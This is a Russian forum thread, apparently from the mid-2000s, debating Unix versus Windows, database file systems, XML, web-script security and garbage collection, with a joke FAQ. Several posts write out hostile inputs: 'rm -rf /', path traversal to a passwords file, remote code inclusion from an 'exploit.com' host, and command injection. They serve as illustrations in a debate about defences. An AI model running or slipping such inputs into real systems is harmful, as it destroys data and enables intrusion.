До практического внедрения далеко, потому что весь софт, работающий с файлами, придётся модифицировать,
и делать это никто не станет, пока не убедится в преимуществах нового подхода.
Это не БД, а индекс, который генерируется по запросу.
Ну WinFS тоже по большей части как индекс работает, хотя в ней самой вроде тоже можно будет хранить файлы.
Я временно разворачиваю огромное дерево файлов для того, что бы через час их удалить. Попадание их в индекс мне нафиг не нужно. А они будут вноситься туда, потом выноситься. Тормоза.Ну временные директории можно так и помечать и не обязательно индекс апдейтить часто.
Потому, что в ряде случаев и файловая система тормозно и тяжело. Некоторые вот хранят данные просто на жестком диске, что бы быстрее было.
Ну это уже отдельный случай. Мы говорим про тех кто пользуется файловой системой и хотел немного больше функциональности и удобств.
Да вот только почему-то в PalmOS сделали VFS.
---
...Я работаю антинаучным аферистом...
Чуве, я провёл год тренируясь на Windows NT админа. Я много прочёл, много всего перепробовал. Я скачал из инета и установил кучу инструментов, позволяющих администрить из командной строки, удаленно и писать скрипты. Я спорил со своими друзьями, что всё, что они делают под UNIX возможно сделать под NT. Но через год мне это надоело, потому что это было вымученно. А в UNIX это естесственно.
Я для себя выделяю три направления в области IT: 1) сети передач данных 2) Выделенные сервера в инете (Web, почта) и системы биллинга. 3) Корпоративные системы.
Первым пунктом занимаются железки Cisco, Alcatel и пр., которые позволяют хардварно без использования ЦП маршрутизировать пакеты. Так же этим могут заниматься *nix системы, поскольку, при желании, их можно не отягащать такими вещами как окна и прочей ненужной фигней.
Ко второму пункту я могу отнести все что угодно, только не сервера Microsoft.
По третьему пункту я не могу ничего придумать лучше продукции Microsoft. Т.к. компания Microsoft концентрирует свое внимание именно на создании корпоративных систем с низкой стоимостью обслуживания.
Именно поэтому я считаю, что спорить что лучше совершенно бессмыссленно, т.к. каждая из продукций занимает свою нишу и не пытается конкурировать с другими.
Ко второму пункту я могу отнести все что угодно, только не сервера Microsoft
Безусловно АСП.НЕТ не имеет будующего, разве что на той самой моно. Гы гы гы. Расскажи это маркетологам M$.
а MSN Desktop Search рулит
A1: XXX сосёт!
---
...Я работаю антинаучным аферистом...
А можно полный фак в студию?
Friday 24 October 2003 15:38:51
Q1: Как вам XXX?
A1: XXX cосет!
Q2: А почему в OS/2 XXX YYY?
A2: Потому что так завещал великий и мудрый Ибеме, и по другому делать некошерно.
Q3: чиво вы тyт витвоpяите, ламиpы? чиво за атстойная эха? я тyта всем хател pасказать пpа то, что XXX самый pyлиз фаpева, а вы тyта бpедите и абастpяитесь?
A3: а ты кто такой!?
Q4: а что за платформа XXX?
A4: на нее кажется вчера или позавчера взгромоздили linux. Или по крайней мере собираются взгромоздить завтра.
Q5: а нафига A4?
A5: чтоб сосать.
Q6: Я слышал есть такой мужик, вроде Бармин зовут, и он придумал что-то такое после чего XXX не сосет.
A6: Подходит только для suxx: rm -rf /
Q7: А что за suxx?
A7: unix.
Q8: А где это есть и круче?
A8: В VMS!
Q9: А почему Линукс не ОС?
A9: ОС - это БЗДя
Q10: Что такое "см. рис. 1"?
A10: см. http: //suxx.kak-sam.to/figure1.html http: //suxx.kak-sam.to/otkazano.gif
Q11: *ix это че ?
A11: Это кодовое название проекта следующего (после K&R) поколения - под рабочим названием Хрюних.
Q12: Virtual Memory это хде ?
A12: Это вам не тут.
Q13: wtf XXX YYY?
A13: Че?
Q14: А почему бы твит не поставить?
A14: Твит сосет.
Q15: What is a Unix Guru
A15: http: //perso.wanadoo.fr/levenez/unix/guru.html
Q16: что хуже фря или соляра?
A16: линух популярнее.
Q17: А что с полуосью?
A17: Опять сдохла.
Q18: А что такое "БК-0010"?
A18: Да в кривых руках и DeepBlue калькулятором будет.
Q19: Who is AG?
A19: Andrey Gerykov он же Andrey (возможны другие имена и клички)Особые приметы - думает что знает все.Убедить в обратном - невозможно. Hе виртуал. При обнаружении - не задерживать, доложить в соответствующие органы. Постарайтесь не спугнуть.
Q20: А разве emacs не сосет?
A20: это не повод его не апгрейдить.
Q21: что такое Win2k?
A21: состема.
Q22: and what does not suck then?
A22: Microsoft vacuum-cleaner.
Q23: а бывают несосущие оси?
A23: Бывают. Теоретически. Они имеют сферическую форму и находятся в вакууме.
Q24: Только ли unix suxx?
A24: Проявления suxx-а неисчислимы.
Q25: а вот в линухе появилось XXX...
A25: линуха рулит, а вы все остальные - в гробу сасёте, разлагаитись, ваняити и абастряитись.. вот!
Q26: а вот в линухе провалилась эпопея с XXX и её из главветки убрали...
A26: я с самого начала считал её неудачным схемным реЩением! да и не юзал никогда. мамой клянусь!
Q27: что такое ось?
A27: ах! ось это ТАКАЯ штука...
Q28: а модератор где?
A28: венки уже вынесли.
Q29: Тут в эхе pулезов нет?
A29: фак - единственный наш рулез.
Q30: а вот в линуксе, в отличии от фрибисиди, XXX YYY.
A30: казалось бы, при чём тут осдва?..
Q31: А почему выбрали комбинации клавиш Ctrl+V и Ctrl+C
A31: это чтоб сразу было видно, что русские изобретали. от "C"копировать и "V"ставить. Угу, и "X"ерить : -)
Q32: а кто такой dz? он осевик?
A32: теперь он вообще никакой. %-P
Q33: Как это печально, когда единственным спортом остается применение os/2
A33: ...в качестве мишени для наездов.
Q34: Всё что связано с осдвой - <beep>, <meep-meep> и .
A34: понятно. "зелен виноград".
Q35: А xxxxx yyyyy ?
A35: Сорри, я не нашел начало треда. О чем вообще речь?
Q36: Hе передергивай !
A36: Hу ты ж передергиваешь.
Q37: А примерчик можно?
A37: пожалуйста. 2*2=4
Q38: а по каким, собственно, правилам, тут ведутся дискуссии? формальной логикой ведь и не пахнет...
A38: http: //golovolomka.hobby.ru/humour/flogic.shtml
Q39: А вот в юниксах буковок нету
A39: Сдуру можно много чего сломать
Q40: Почему линуксоиды называют консоль шеллом?
A40: Так завещел великий и мудрый LT и по другому называть некошерно.
Q41: а у психиатра не пробовали консультироваться?
A41: мне M-x doctor хватает, спасибо.
Q42: а как давно обновлялся FAQ?
A42: мумии не обновляюцца!
Q43: А какое предназначение у винды?
A43: bsod
Q44: Что такое unixway?
A44: Ламеpы в гамаке пусть в тапках тpахаются -- это их пpоблемы. Я в своём гамаке хочу полноценно тpахаться на лыжах.
Q45: Шо вы имеете сказать про это угребище?
A45: Про полуось?
Q46: да ну?
A46: ну да.
Q47: а где нетварь?
A47: скоро должна сдохнуть.
Q48: что такое файл?
A48: ОПЯТЬ?
---
...Я работаю...
MS Office там есть со спеллчекером? COM поддерживает? В Active Directory входит?
DirectX там в ядре?
Ну тогда что там за VFS?
Какой "оффис"? Какой "ком"?
Что такое "директ-хэ"?
Ты о чём?
Там как раз в основе всего лежит база данных,
поверх которой надстроили файловую систему.
Далее см. ответ 5.
---
...Я работаю антинаучным аферистом...
Для того, чтобы полноценно отследить контекст тебе придется построить полнценных парсер xml.
ты сможешь это быстро сделать на sed-е?
как ты собираешься корректно заменять следующее?
<Root>
<w:sz w:value="10"/>
<![CDATA[ <w:sz w:value="10"/>]]>
<w:sz w:other_value ="10" w:value="10"/>
</Root>
Asp.Net - это все-таки engine, в большем степени, ориентированный для корпоративных систем.
XMLStarlet is a set of command line utilities (tools) which can be used toНашлось с помощью apt-cache search xml grep
transform, query, validate, and edit XML documents and files using simple set
of shell commands in similar way it is done for plain text files using
UNIX grep, sed, awk, diff, patch, join, etc commands.
.
This set of command line utilities can be used by those who deal with many XML
documents on UNIX shell command prompt as well as for automated XML processing
with shell scripts.
xml2 tools are used to convert XML, HTML and CSV to and from aНашлось так же.
line-oriented format more amenable to processing by classic Unix
pipeline processing tools, like grep, sed, awk, cut, shell scripts,
and so forth.
поиска более сложных решений.
Униксовые представления данных должны, по возможности, быть
возможно более простыми.
Чего в твоём примере --- не наблюдается.
---
...Я работаю антинаучным аферистом...
и самое главное, как избежать большинства ошибок с этим связанных.
Замечу, что больше половины атак на cgi, perl, php и т.д. основаны, как раз на том, что в unix-way-е нет нормального способа борьбы со спец-символами.
ps
xml - в том числе, решает и данную проблему.
^D?
Это смешно!
Твой хвалёный XML использует точь в точь такие же символы и,
видите ли, считается более надёжным.
---
...Я работаю антинаучным аферистом...
на microsoft.com - search тоже можно найти много интересного, но это не означает, что это является main-stream-ом для данной системы
и какие ошибки возникают?
Тем более, раз они есть.
---
...Я работаю антинаучным аферистом...
> видите ли, считается более надёжным.
Может он более надежный, потому что предлагает более стройную систему?
не вижу причин, почему данные программы нельзя использовать, если потребуется скриптом обработать xml
Поищи, например, на слова "awk", "find", grep, "как сделать что-нибудь под *nix-ом, чтобы работала на произвольной системе".
> что в unix-way-е нет нормального способа борьбы со спец-символами.
Какое принципиальное отличие данных технологий от asp.net и vb, делающая
последних неуязвимым к атакам?
P.S. последние несколько твоих каментов - мимо тазика 100%, не выспался?
ты знаешь много прикладных unix-way программ, которые работают c xml-ем?
мешает. Ничего не скажешь.
Однако, что там в виндах с обратной совместимостью?
Что-то мои батники, писаные на MS-DOS 7, не все заработали под W2k.
Так что нечего на переносимость бочку катить.
"Борьба со спецсимволами" здесь осталась сбоку.
Если и была.
---
...Я работаю антинаучным аферистом
одну такую собираюсь сделать - источник данных в xml, и это не я придумал
благодаря нашему обсуждению, теперь я знаю, как этот xml проще всего переработать, половина задачи решена можно сказать
у меня некоторые веб скрипты на gawk-e, но кроме ограничения на их работу в определенной директории я ничего не делал (типа вырезания "..", "/" и прочего). и вроде ничего плохого не придумал для эксплуатации ...
ЗЫ поискать в нете? или это на форуме уже обсуждалось?
---
...Я работаю антинаучным аферистом...
последних неуязвимым к атакам?
Тем, что cgi, php, perl живут в мире unix-way-я, соответственно, для того, чтобы выполнить любое мало-мальское действие - необходимо запускать внешние exe-шники.
При запуске внешних программ "данные" и "код" перемешиваются, соответственно ошибка в "данных" может привести к неправильному "коду".
В Asp.Net-е внешние команды подключаются через Com, соответственно - нет смешивания данных и кода.
Ты уверен, что таких хотя бы 1%, не говоря уже о 50%?
Я бы понял, если бы про sql injection говорилось, но sql и у microsoft вроде такой же...
Может просто страшно вытащить голову из песка? И не хочется понимать то, что я пытаюсь показать?
ps
Основная моя мысль в том, что Микрософт за 10-15 лет смогла от жалкого подобия *nix-ов перейти перейти к чему-то новому и мощному. Данное путешествие, конечно, сопровождалось шатаниями, ошибками, заблуждениями, агрессией и т.д.. Но это все пустое, главное, что делаются попытки построить что-то новое и предложить какой-то другой way.
*nix-ы же за последние 30-лет скорее топчутся на одном месте, и не предлагают новых взглядов на связь человек<->компьютер.
Но как уже ни раз говорилось - топтание - это смерть.
Большая часть того, что сделано,--- переизобретение велосипеда.
Причём как обычно --- не самого лучшего.
Униксы настолько мощны, что держутся все эти 20, на самом-то деле, лет.
И если доработать напильником некоторые шероховатости, то они
представляют собой куда лучшую систему, чем винды.
---
...Я работаю...
А вот я вижу, как от подобия CP/M с одной стороны и VMS с другой, Windows становится подобием UNIX.
> Но это все пустое, главное, что делаются попытки построить что-то новое и предложить какой-то другой way.
В соседнем треде чуве перечислил будущие "новинки" от MS.
Оказалось, что оно не новое совсем, и не уникальное.
http://www.xakep.ru/local/search/result.asp?scope=+"%2Fxpost"%2C+"%2Fmagazine%2Fxa"%2C+"%2Fmagazine%2Fsx"+&orderby=rank&tosearch=php
---
...Я работаю антинаучным аферистом...
Далее искать заломало, можно прямую ссылку?
Я вот знаю в самом engine php находят дыры. Атака на php это попытка эксплоита этих самых дыр? А что такое атака на CGI или на perl? Положим в perl тоже дыры есть. Но вот "атака на CGI" звучит примерно как "атака на HTTP". И при чём тут unix way?
Еще раз замечу, что файлы - это не то, с чем хотят работать люди.
Соответственно и акцент в текущих новых системах делается на данные, а не на файлы.
В какой-то жопе afaik. Я не говорил, что подобие хорошее
www.namesys.com. Ханс идеи покруче толкает http://www.namesys.com/whitepaper.html
Почитай документы на Тем, что cgi, php, perl живут в мире unix-way-я, соответственно, для того, чтобы выполнить любое мало-мальское действие - необходимо запускать внешние exe-шники.Похоже ты кроме как под asp.net больше ни под чем сайты не создавал. На php и perl можно сделать очень много без всяких exec. Я даже с трудом могу придумать веб-задачу, где exec потребуется.
It depends. Для серверных задач - файлы самое оно. Для десктопа - необходима объектная база данных.
/usr/sbin/sendmail позвать
Основная моя мысль в том, что Микрософт за 10-15 лет смогла от жалкого подобия *nix-ов перейти перейти к чему-то новому и мощному. Данное путешествие, конечно, сопровождалось шатаниями, ошибками, заблуждениями, агрессией и т.д.. Но это все пустое, главное, что делаются попытки построить что-то новое и предложить какой-то другой way.Читаем в соседних тредах и в этом про way. Есть вещи, которые доказали, что они имеют право существовать не заменясь чем-то новым.
*nix-ы же за последние 30-лет скорее топчутся на одном месте, и не предлагают новых взглядов на связь человек<->компьютер.А где смерть? Винда начала лидировать на рынке уеп-серверов? Нет. Ок, рассмотрим только уеп-сервера под Windows. АСП.нет лидирует среди этих серверов? Опять нет? Почему же под винду ставят не родной асп.нет, а apache+php+mysql?
Но как уже ни раз говорилось - топтание - это смерть.
восстановление такой шняги после сбоя, это уже покруче всяких fsck
Транзакции и никаких гвоздей.
Еще раз замечу, что файлы - это не то, с чем хотят работать люди.Еще раз замечу, что WinCmd или Far, это первая программа, которую устанавливают пользователи под виндой. Таки хотят работать с файлами.
А в линейке Mac OS, чем старше версия, тем ближе файлы к пользователю.
Все тот же injection, только на команды system, exec, open file и т.д.
например:
http://www.xakep.ru/post/20937/default.asp
В php по-моему для этого есть безопасная обертка. Типа непосредственно exec девелопер не пишет. А в perl типа есть удобные модули с CPAN, им не нужен sendmail им нужен только адрес SMTP сервера.
В php тоже.
Но через smtp-сервер - это не тру.
Так asp.net вроде ж рулит сегодня, ну если не сегодня, то будет с версией 2.0. А потом если майкрософт в крайности не впадет с новой концепцией смарт клиетов, то будет и 3я версия
Еще раз замечу, что WinCmd или Far, это первая программа, которую устанавливают пользователи под виндой. Таки хотят работать с файлами.
А в линейке Mac OS, чем старше версия, тем ближе файлы к пользователю.
Это наверно те пользователи, которые до этого работали в ДОС. Остальные обходятся Проводником.
> Windows. АСП.нет лидирует среди этих серверов? Опять нет? Почему же под винду ставят не родной асп.нет,
> а apache+php+mysql?
microsoft лидирует на рынке корпоративных систем - это большего стоит.
ps
ты хочешь сказать, что кому-то реально нужны все эти home-странички?
http://www.xakep.ru/post/20937/default.asp
ты наебался
там как раз в этом скрипте вместо system, exec или open file делается
высокоуровневая команда, которая даже http понимает (что-то вроде open document наверное)
гипотетический аналог на VB или JS сделал бы точно так же, но с использованием COM
даже заворачивание данных в XML ничего бы не изменило
> ты наебался
там как раз в этом скрипте вместо system, exec или open file делается
высокоуровневая команда, которая даже http понимает (что-то вроде open document наверное)
гипотетический аналог на VB или JS сделал бы точно так же, но с использованием COM
даже заворачивание данных в XML ничего бы не изменило
нахождения данных в неконсистентном состоянии
т.е. unix-way все-таки зло? и его надо даже от программистов прятать? не говоря уже о пользователях?
Ага. Сегодня повальное увлечение веб-приложениями. Там у asp.net только конкуренты на джава.
наличие транзакций не гарантирует невозможность
нахождения данных в неконсистентном состоянии
в теории -- гарантирует
"In theory, theory and practice are the same.
In practice, they are different."
и все же очень слабо представляю себе сбой, который может оставить транзакцию в промежуточном состоянии
Ну тогда лови симметричный ответ.
А что, в Windows библиотечные функции никогда не проверяют корректность входных данных?
аппаратный сбой, или ошибка в коде
> там как раз в этом скрипте вместо system, exec или open file делается
> высокоуровневая команда, которая даже http понимает (что-то вроде open document наверное)
> гипотетический аналог на VB или JS сделал бы точно так же, но с использованием COM
создается такое ощущение, что ты ни разу не писал что-либо на php, js и т.д.
вернее, мне кажется, что ты не понимаешь, как работает php и как работает, например, asp.net
в данной атаке используются две особенности именно php:
1. только в php смешиваются в общую кучу: переменные окружения, переменные php, переменные задаваемые в cookie, переменные задаваемые в адресной строке
2. только в unix-way-системах постоянно дергаются команды system
Не надо передергивать. При аппаратном сбое или ошибке в коде и файловая система ничем не поможет.
Я подразумеваю что нижележащий слой работает корректно. Иначе нельзя написать ни одной программы. Поэтому считается что база написано корректно, аппаратного сбоя произойти не может. Как транзакция может остаться в некорректном состоянии?
если ФС лечить ещё хоть как-то удаётся, то что можно сделать со сложной структурой объектов?
Точно так же лечить. Методы не отличаются.
также как и везде - иногда проверяются, иногда - нет.
но опять же unix не предлагает системного подхода - как этого избежать.
Microsoft понял преимущество Java-ы и во всю ОС вводит те же принципы, которые позволяют кардинально избавиться от данных проблем.
> переменные задаваемые в адресной строке
тебе наверное забыли доложить, что register_globals давно уже off по умолчанию
> 1. только в php смешиваются в общую кучу: переменные окружения, переменные php, переменные задаваемые в cookie,
> переменные задаваемые в адресной строке
данная особенность php по умолчанию отключена
для приведённой атаки она не существенна:
вместо system($cmd) можно написать system('rm -rf /')
> 2. только в unix-way-системах постоянно дергаются команды system
я думаю, что уязвимый скрипт не содержал ни одного вызова system
приведённая атака не зависит от этого
а зависит она исключительно от возможности динамической подгрузки кода
вот если в microsoft отменили все виды динамически загружаемых библиотек, я пожалуй буду впечатлён
А что, в Windows библиотечные функции никогда не проверяют корректность входных данных?
Проверяют конечно, и баги тоже имеются. Но т.к. потавляющее большинство кода в asp.net приложении verifiable managed code, CLR проверка дает 100% гарантию, что ты не выйдешь за рамки правил среды. Последнее делает невозможными всякие там выходы за границы и т.д. Что уже хорошо.
Ссылку на системный подход, позволяющий кардинально избавиться от проблем, связанных с отсутствием проверки корректности входных данных, в студию.
fsck для простой файловой системы устроен проще
исправить повреждение вручную тоже проще
выковырять ценные данные вручную ... ну ты догадался, наверное
Использование практически любого языка, кроме C/С++ и прочих ассемблеров, делает это невозможным.
Даже php.
Я так понял из этого что-то должно следовать? Правда я не понял что... Проще - не значит лучше. Проще вообще комп не использовать а записывать все данные на бумагу. Или на железный лист. Риск пропажи инфы - минимальный.
Использование практически любого языка, кроме C/С++ и прочих ассемблеров, делает это невозможным.
Даже php.
да но в случае CLR оверхед минимальный
А минимальный это сколько? В пять раз? Или всего в два?
БД вроде справляются
Это Bill G. так сказал?
Надо взять дисковый контроллер от VIA, меняющий иногда биты в данных, и погонять там БД.
А потом поисправлять ошибки.
Кроме того, обычные БД - реляционные, за ними серьёзная теория и многолетний опыт эксплуатации.
А вот каких чудес ожидать от объектных баз - это ещё неизвестно.
Для нормального по сложности приложения, когда выйгрышь в производительности от использования ,НЕТ ощутим (сравниваем с С++). Производительность определяется архитектурой приложения в первую очередь. При этом если учесть, что чтобы запрогать под .НЕТ, нужно меньше времени, то больше останется по разработку архитектуры.Ну а если останется лишнее время, то можно уже поизвращаться с тюнингом локально. На худой конец переписать кусок на МС++.
да, я ошибся - в данной атаке использовалась ошибка конкретного скрипта, а не систематическая ошибка.
ps
но замечу, что в asp.net эта же ошибка бы не прошла, т.к. тот же cas не позволил бы запустить удаленный код.
Ну про объектные я такое не говорил. Сильно успешных объектных БД я не знаю. Чем реляционные или объектно -реляционные БД плохи?
тот же GC в умелых руках творит чудеса
Потому что они не дают для десктопа ничего нового по отношению к файловой системе.
Для нормального по сложности приложения, когда выйгрышь в производительности от использования ,НЕТ ощутим (сравниваем с С++). Производительность определяется архитектурой приложения в первую очередь. При этом если учесть, что чтобы запрогать под .НЕТ, нужно меньше времени, то больше останется по разработку архитектуры.Ну а если останется лишнее время, то можно уже поизвращаться с тюнингом локально. На худой конец переписать кусок на МС++.Заменяем .NET на что угодно, сила доводов не меняется.
Кроме MC++, этот кусок просто не в кассу, так как компилируется MC++ в тот же CLR, с сохранением его положительных и отрицательных свойств.
Да? У меня есть приложение которое не работает с GC. Валится в корку. Причем именно из-за GC.
ни один из поддерживаемых там языков не имеет аналога eval ?
неужели даже JS?
это может быть и недостатком, средство мощное, хоть и опасное
к unix way, заметим, никаким боком, полностью ортогональное явление
например, от ошибок вида:
1.
http://script?filename=../../../passwords
file.open(filename)
можно кардинально избавиться, если запретить приложению доступ к вышестоящим папкам
2.
от ошибок вида:
http://script?exploit=bla-bla
char ss[20];
strcpy(exploit, ss);
можно кардинально избавиться введением управляемого кода
3. от ошибок вида:
http://script?include=http://exploit.com/exploit
include(exploit)
можно кардинально защититься, если ввести cas и разному коду дать разные права в зависимости от расположения кода.
4. от ошибок вида
http://script?cmd=bla-bla|exploit
open(cmd);
можно кардинально защититься, если ввести модель данных
и т.д.
eval в js есть, но реальных применений - особенно в web-системах - я не припомню
Кроме MC++, этот кусок просто не в кассу, так как компилируется MC++ в тот же CLR, с сохранением его положительных и отрицательных свойств.
Не совсем так, там ты можешь использовать указатели и прочие unsafe штуки. Я хочу сказать, что при достаточном запасе времени можно довести кусок managed кода до уровня предельного и для native кода. При этом нужно не забывать, что качественный и оптисальный код и на С++ написать не так просто.
Идея заключается в том, что теряя меньше времени на условно 90%, который заменто не влияет на производительность. У тебя больше времени на архитектуру и участки кода, котрые непосредственно влияют на производительность. Класс приложений где именно такой расклад очень большой. Хотя конечно, есть задачи где опревдано использование С или даже ASM, но речь не о них.
Да? У меня есть приложение которое не работает с GC. Валится в корку. Причем именно из-за GC.
Это уже интересно. Хотелось узнать про это дело
А вот так. У меня есть участок кода, где в памяти нет указателя на объект. И GC его удаляет.
ну и хорошо, в чем проблема
А объект есть. И через некоторое время указатель на него появляется. И все. Сегфолт.
Как появляются. Ты ж сказал, что их нет.
А вот так. Не было, а потом появился
Клево.
Как может появится указатель. Если ты используешь фрагменты unmanged кода, тогда тебе нужно делать pinning объекта.
значит, все ценные данные будут храниться в нижележащих папках,
и атаки будут направлены на них
passwords должны же быть доступны для чтения web-приложению
> 2 ..... введением управляемого кода
повторюсь, всё кроме C/C++ и прочих ассемблеров даёт то же самое
даже ассемблер под названием LISP
Внимание, признаю заслугу Microsoft: они заставляют упрямых разработчиков отказываться от ассемблеров, это очень хорошо.
> кардинально защититься, если ввести cas и разному коду дать разные права в зависимости от расположения кода
В большинстве программ все места, откуда может подгрузиться код, известны до их запуска, с хорошей точностью.
Проблема актуально только для программ, динамически подгружающих недоверенный код: т.е. апплеты.
Таких программ мало.
Пожалуй, я и тут признаю заслугу Microsoft в популяризации технологии безопасного исполнения апплетов.
Правда, такое уже пытались сделать в Sun, но не вышло...
> можно кардинально защититься, если ввести модель данных
Пользовательские данные перемешиваются с управляющими конструкциями.
То же самое в случае XML и SQL например, если не эскейпить специальные символы.
Задача не решена.
> и т.д.
Не вижу системного подхода. Каждая из встающих проблем рассматривается ad hoc, в ряде случаев безуспешно.
Список не полный - значит есть ещё проблемы, решения которых нужно искать отдельно.
Резюме: несколько многообещающих шагов, но отсутствие кардинальных решений и системного подхода.
как же asp.net его разрешает, когда выше утверждалось обратное?
> но реальных применений - особенно в web-системах - я не припомню
авторы обсуждаемого скрипта придумали применение
в этом и состояла их ошибка
Да очень просто. Я тебе 10 способов приведу. Например передал его себе по TCP/IP.
А ты на каком языке пишешь, кстати?
А на каком нужно? Вообще - потенциально на любом. В данный момент предпочитаю С++ + python.
пока похоже, что глюки не у CLR, а у тебя
При их использовании преимущество в безопасности исчезает.
> Я хочу сказать, что при достаточном запасе времени можно довести кусок managed кода до уровня предельного и для native кода.
Повторюсь: этот и остальные доводы не теряют силы, если заменить .Net на что угодно.
Какой еще CLR? Я разве говорил о CLR? Я говорил о GC. Причем не привязывался к конкретному языку.
Не понял, зачем ты винишь сборщик мусора, в том, что он не работает, когда ты его наебываешь?
А я его не наебывал. У меня там все гораздо тоньше. И объяснять как все было на самом деле - нет никакого желания
Наверняка, наебал, а теперь отмазываешься.
GC это неотъемлемая часть CLR, так что-ли
ну дык я не понял, использует куски unsafe кода?
Ну блин. У меня сложная мультитредная программа. И два треда перекидываются объектом. Допустим GC стартовал и проверил часть памяти. Объекта нет. Запустился другой тред и перекинул объект в уже проверенную память. У себя стер. Снова запустился тред с коллектором. И проверил остаток памяти. Все. Объекта он не нашел.
То ли на Java пишет, то ли свой сборщик мусора написал на C++, а теперь его наебывает
Брейндед не использует ни CLR, ни боже упаси Visual Studio который этот CLR генерит. А использует он plain c++.
тогда о каком GCресь идет?
Boehm conservative garbage collector
"Real Programmer can write FORTRAN in any language".
удачной отладки
А вообще, заставить меня защищать ненавидимый мной PHP - это некое достижение в искусстве полемики.
ура, долой PHP
важное уточнение: passwords должны быть доступны только паре функций, а не всему приложению
и соответственно asp.net позволяет настроить доступ к passwords-ам только для пары функций
далее проверяется только корректность работы данных функций, а весь остальной код будь хоть трижды дыряв - доступ к passwords-ам не получит.
> Проблема актуально только для программ, динамически подгружающих недоверенный код: т.е. апплеты.
> Таких программ мало.
Любая система, особенно скриптовые (в том числе и php) - подгружают код динамически
ps
замечу, что javascript внутри html-страницы - это тоже подгружаемый код, и макросы - это тоже подгружаемый код, и флеш, даже ps - это в некоторой степени подгружаемый код.
поэтому, что значит мало? мало где? у тебя на компьютере? мало в мире сегодня? мало в мире - завтра?
pps
если ты используешь в своей программе (пусть даже будет open-source-ный) чужой модуль - то можешь ты ему доверять также как своему? а если этот модуль автоматически update-ится?
> То же самое в случае XML и SQL например, если не эскейпить специальные символы.
> Задача не решена.
Замечу, что у xml-я есть такое понятие - как схема, соответственно можно единым образом настроить проверку валидности xml-я, для unix-way-я, которые обмениваются неструктированными данными - никакие общие решения сделать нельзя.
> Не вижу системного подхода. Каждая из встающих проблем рассматривается ad hoc, в ряде случаев безуспешно
Т.е. есть только черное, и только белое?
причем раз белое недостижимо, то пусть всегда жизнь будет плохой и черной? я правильно понял?
понятно, что идеал не достижим, понятно, что все само собой не сделается, но зато к идеалу можно приблизиться - и этим облегчить себе жизнь.
ты знаешь путь лучше?
пока ты только говоришь следующее: вы все куда-то туда-сюда ходите, хотя всем ясно, что лучше нашего болота ничего нет, поэтому и не фига рыпаться, все равно все самое лучше было придумано еще в каменном веке.
я правильно понимаю, что твоя позиция сводится именно к этому?
как я уже сказал, это очень круто
всецело благодаря строгой типизации (как там это назвали в MS? управляемостью или проверяемостью?)
обязательно прочитаю про это и сошлюсь в дисере
единственная трудность, которую я вижу - политика безопасности будет очень сложной, если для каждой функции указывать права доступа
даже типичная политика для SE Linux практически необозрима, а там права назначаются целиком бинарникам, а не функциям
без специальных средств нельзя будет проверить выполнение политикой заданных высокоуровневых требований
о разработке таких средств для SE Linux рассказывали американские коллеги на последней конференции MaBIT
> Любая система, особенно скриптовые (в том числе и php) - подгружают код динамически
Да.
Но в подавляющем большинстве программ, повторю, достаточно точно заранее известно, откуда.
> замечу, что javascript внутри html-страницы - это тоже подгружаемый код
> и макросы - это тоже подгружаемый код, и флеш, даже ps - это в некоторой степени подгружаемый код.
всё это апплеты
я про это даже забыл, настолько малы обычно возможности такого кода
безопасность в данном случае поддерживается песочницей
бонусы от .net тут не особо-то помогут, что в windows, что в unix - подход одинаковый
> Замечу, что у xml-я есть такое понятие - как схема, соответственно можно единым образом настроить проверку валидности xml-я
Кто сказал, что злоумышленник подсунет неправильный XML?
И что у нас насчёт SQL?
А кстати, обмениваться функциями в виде кода на IL ещё не принято?
> для unix-way-я, которые обмениваются неструктированными данными
тебя дезинформировали в том, что данные обязательно должны быть неструктурированными
это не так
> Т.е. есть только черное, и только белое?
Как раз нет.
Это ты настаивал на том, что у Microsoft всё белое: системный подход, кардинально избавиться.
Я же предлагаю более взвешенную оценку: некоторые шаги, направленные на решение ряда проблем.
нет
попробуй перечитать тред
но сначала отдохни
так если xml-правильный - то, в чем проблема?
> И что у нас насчёт SQL?
есть тенденция заменять sql на xpath
> безопасность в данном случае поддерживается песочницей
так опять получается, что есть только два деление - в песочнице, и не в песочнице
а хочется, чтобы было градаций больше
> А кстати, обмениваться функциями в виде кода на IL ещё не принято?
да, можно обмениваться. как раз для этого и нужно ограничение прав на основе источника кода.
> тебя дезинформировали в том, что данные обязательно должны быть неструктурированными
приведи, плиз, примеры структурированных данных из unix-way-я. причем желательно, чтобы это была некая тенденция, а не единичные примеры.
ps
замечу, что хорошие структурированные данные - это такие данные, у которых есть meta-описание достаточное для того, чтобы с этими данными могли работать сторонние/универсальные программы.
Это наверно те пользователи, которые до этого работали в ДОС. Остальные обходятся Проводником.Да вот нет. Некоторые даже не знают про ДОС.
microsoft лидирует на рынке корпоративных систем - это большего стоит.Шаг назад, ? Ведь только что рассказывал, про то, что она рулит на рынке уеп-технологий.
ты хочешь сказать, что кому-то реально нужны все эти home-странички?rambler.ru, yandex.ru, yahoo.com - FreeBSD
google.com - Linux
Эти home-странички вроде кому-то нужны. Народ заходит на них часто.
Так asp.net вроде ж рулит сегодня, ну если не сегодня, то будет с версией 2.0. А потом если майкрософт в крайности не впадет с новой концепцией смарт клиетов, то будет и 3я версияИзвини, чуве, но на неаргументированное слово "рулит" ответ один:
Q: Как вам XXX?
A: XXX сосёт!
> т.е. unix-way все-таки зло? и его надо даже от программистов прятать? не говоря уже о пользователях?
Для уеп-технологий уровня php - зло.
А anantech.com полностью стоит на Windows.
А anantech.com полностью стоит на Windows./me впервые слышит это слово. Пойду, что ли ознакомлюсь.
...
Охуенна:
http://anantech.com:Киря, это херовый тролль?
Not Found
The requested URL / was not found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
http://www.anandtech.com
И чо? Типа более посещаемый homepage чем yahoo или google?
> И чо? Типа более посещаемый homepage чем yahoo или google?
Извини, чуве, но на неаргументированное слово "рулит" ответ один:
Да я ж вроде бы ничего и не доказываю. А так в этом посте очень сильно скрытый смысл , что в версии 2.0 asp.net очень сильно прибавляет.
Ну Yahoo и Google конечно нет, а вот Yandex уделывает...
Откуда данные или как всегда?
Ну так понятно, что никто специпльно сайт на asp.net не будет переписывають. А новых очень много на asp.net появляется. А будут еще больше.
Ссылок не дам, сам проверяй.
фразу "рулит на рынке уеп-технологий" я не произносил.
Я только говорил, что asp.net позволяет с меньшими усилиями добиться более лучшего результата (например, более высокого качества, т.к. большая часть ошибок - закрывается единым образом).
> rambler.ru, yandex.ru, yahoo.com - FreeBSD
> google.com - Linux
замечу - что все это простые примеры.
Простые в том плане, что реальных страниц - у них дай бог десяток, но может быть сотня.
